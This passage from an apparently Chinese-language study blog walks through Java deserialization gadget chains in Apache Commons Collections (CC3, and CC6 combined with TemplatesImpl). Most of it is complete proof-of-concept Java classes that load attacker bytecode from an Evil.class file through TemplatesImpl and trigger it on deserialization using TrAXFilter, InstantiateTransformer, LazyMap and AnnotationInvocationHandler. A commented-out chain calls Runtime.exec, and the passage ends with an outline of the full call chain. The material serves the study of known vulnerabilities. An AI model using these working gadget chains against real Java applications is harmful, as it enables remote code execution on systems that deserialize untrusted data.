setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();


// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);

//templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstruction.setAccessible(true);
//Override.class → 随便找一个合法的注解类型(必须是注解类,否则构造函数会报错)
Object o = annotationInvocationHandlerConstruction.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}

image

CC6 + TemplatesImpl 结合

同理

CC6与 TemplatesImpl结合的话,也是最终sink点 transform反射调用 TemplatesImpl.newTransformer()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package org.example.CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6withCC3 {
public static void main(String[] args) throws Exception {
// // 1. 构造恶意 Transformer 链
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer(
// "getMethod",
// new Class[]{String.class, Class[].class},
// new Object[]{"getRuntime", new Class[0]}
// ),
// new InvokerTransformer(
// "invoke",
// new Class[]{Object.class, Object[].class},
// new Object[]{null, new Object[0]}
// ),
// new InvokerTransformer(
// "exec",
// new Class[]{String.class},
// new Object[]{"open -a Calculator"}
// )
// };
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","test");
byte[] code = Files.readAllBytes(Paths.get("./src/main/java/org/example/CC3/Evil.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 2. 先用无害的 ConstantTransformer 占位,避免提前执行
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

// 3. 用 LazyMap 构造 TiedMapEntry,并作为 key 放入 HashMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "11");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "11");

// 移除 key,保证反序列化时 map.containsKey("a") 为 false
lazyMap.remove("11");

// 4. 通过反射将 LazyMap 的 factory 字段替换为恶意的 chainedTransformer
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

// 5. 序列化与反序列化
serialize(expMap);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}

image

CC3

利用这个 TemplatesImpl加载恶意类 是通过TemplatesImpl.newTransformer()实现的

找谁调用了newTransformer()

image这里找到多个,其中:

  • Process 这个在 _main 里面,是作为一般对象用的,所以不用它

  • getOutProperties,是反射调用的方法,可能会在 fastjson 的漏洞里面被调用

  • TransformerFactoryImpl 不能序列化,如果还想使用它也是也可能的,但是需要传参,我们需要去找构造函数。而它的构造函数难传参

至于TrAXFilter,虽然它也是不能序列化的,但存在构造方法

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

如果可以调用这个构造方法的话,就可以调用newTransformer()。templates可控

但是这个类是不能被序列化的,只能从它的Class入口,通过构造函数赋值

我们可以通过InstantiateTransformer.transform() 获取 TrAXFilter类构造器并初始化,实现templates.newTransformer()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var3) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

这个类的transform方法 这里它会判断参数 是否是CLass类型,是的话 然后会获取这个指定参数类型的Class,指构造器 然后调它的构造函数 .newInstance()实例化

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package org.example.CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {
//
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","test");
byte[] code = Files.readAllBytes(Paths.get("./src/main/java/org/example/CC3/Evil.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();

// templates.newTransformer()
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[] {Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstruction.setAccessible(true);
//Override.class → 随便找一个合法的注解类型(必须是注解类,否则构造函数会报错)
Object o = annotationInvocationHandlerConstruction.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}

完整的cc3链

1
2
3
4
5
6
7
8
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()